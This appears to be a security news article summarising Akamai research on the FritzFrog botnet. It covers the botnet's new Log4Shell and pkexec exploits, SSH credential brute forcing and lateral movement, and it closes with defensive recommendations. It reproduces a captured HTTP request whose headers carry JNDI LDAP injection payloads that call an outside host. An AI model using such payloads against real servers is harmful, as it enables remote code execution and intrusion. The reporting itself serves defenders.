FritzFrog Botnet Expands Attack Arsenal with Log4Shell Exploits

FritzFrog botnet expands its attack arsenal with new Frog4Shell exploits abusing the Log4Shell vulnerability.

Admin

February 02, 2024

The notorious FritzFrog botnet has added a new exploit to its arsenal: **Log4Shell**. This finding comes from threat researchers at Akamai, who have been tracking this sophisticated and continuously evolving malware since its discovery in 2020.

FritzFrog is a peer-to-peer botnet written in Golang that infects Linux servers by brute forcing SSH credentials. It has already compromised thousands of victims over the years. The malware is actively maintained and frequently adds new capabilities, making it a formidable and dangerous threat.

The most notable new capability is the addition of Log4Shell exploitation modules.

> FritzFrog attempts to exploit this vulnerability by injecting the payload through HTTP headers. FritzFrog sends the Log4Shell payload in numerous HTTP headers, hoping that at least one of them gets logged by the application. This brute force exploitation approach aims to be a generic Log4Shell exploit that can affect a wide variety of applications. -blog post reads.

```
GET / HTTP/1.1\r\n
Host: 99.119.176.87:8080\r\n
User-Agent: ${jndi:ldap://172.25.14.14:8183/a}\r\n
A-Im: ${jndi:ldap://172.25.14.14:8183/a}\r\n
Accept: */*\r\n
Access-Control-Request-Headers: ${jndi:ldap://172.25.14.14:8183/a}\r\n
Access-Control-Request-Method: ${jndi:ldap://172.25.14.14:8183/a}\r\n
Authorization: ${jndi:ldap://172.25.14.14:8183/a}\r\n
Cache-Control: ${jndi:ldap://172.25.14.14:8183/a}\r\n
Cookie: ${jndi:ldap://172.25.14.14:8183/a}\r\n
Date: ${jndi:ldap://172.25.14.14:8183/a}\r\n
Dnt: ${jndi:ldap://172.25.14.14:8183/a}\r\n
Forwarded: ${jndi:ldap://172.25.14.14:8183/a}\r\n
From: ${jndi:ldap://172.25.14.14:8183/a}\r\n
Front-End-Https: ${jndi:ldap://172.25.14.14:8183/a}\r\n
Http2-Settings: ${jndi:ldap://172.25.14.14:8183/a}\r\n
Origin: ${jndi:ldap://172.25.14.14:8183/a}\r\n
Pragma: ${jndi:ldap://172.25.14.14:8183/a}\r\n
Prefer: ${jndi:ldap://172.25.14.14:8183/a}\r\n
Proxy-Connection: ${jndi:ldap://172.25.14.14:8183/a}\r\n
Referer: ${jndi:ldap://172.25.14.14:8183/a}\r\n
Upgrade-Insecure-Requests: ${jndi:ldap://172.25.14.14:8183/a}\r\n
Via: ${jndi:ldap://172.25.14.14:8183/a}\r\n
```

FritzFrog Log4Shell exploit embedded inside various HTTP headers

> It does so in an interesting manner — rather than attempting to surgically target a specific HTTP header, FritzFrog targets pretty much all of them.

Log4Shell is the software vulnerability in the Java logging library Log4j that was disclosed in late 2021. It enables remote code execution on vulnerable servers and prompted a massive remediation effort as organizations rushed to patch internet-facing systems.

However, Akamai researchers have found that FritzFrog is now using Log4Shell to target internal systems that may have been missed during patching. After compromising any exposed server via SSH brute force, FritzFrog scans the internal network for HTTP servers on ports commonly used by Java applications. It then sends specifically crafted HTTP requests with Log4Shell payloads embedded in multiple headers, hoping at least one gets logged and triggers the vulnerability.

Successful exploitation allows FritzFrog to download and execute its binary on the target system. This means that just a single overlooked asset on the network perimeter can expose vulnerable internal servers to this sophisticated threat.

In addition to Log4Shell, FritzFrog has also added a Local Privilege Escalation exploit targeting **CVE-2021-4034** in the pkexec component of Linux. This allows it to gain root privileges on vulnerable systems. The malware remains crafty in avoiding detection, using Linux features like /dev/shm and memfd_create to execute payloads directly in memory without touching the disk.

Akamai has also observed FritzFrog improving its ability to identify tasty SSH targets by reading system files like auth logs, known_hosts, and bash history on compromised hosts. This helps it spread laterally after breaching the perimeter.

So what can organizations do to avoid becoming FritzFrog food? Akamai researchers recommend a two-pronged approach:

First, implement network segmentation controls to limit lateral movement after a breach. This "blast radius" minimizing strategy remains one of the most effective ways to mitigate damage from threats like FritzFrog.

Second, employ behavioural detection capabilities that identify suspicious process execution patterns, unexpected network connections, and other tactical malware behaviours. For example, monitoring for unusual listening ports like 1234 used by FritzFrog.

FritzFrog highlights that motivated advanced adversaries continuously evolve their techniques and don't rest on their webbed hands. Defenders need to remain vigilant through rapid patching and proactive detection to stay ahead of emerging exploits being added to malware like this. The Log4Shell capabilities showcase that FritzFrog continues to pose a dangerous threat even years after disclosure of the vulnerabilities it exploits.

Read Also

-
-
-
-
-
-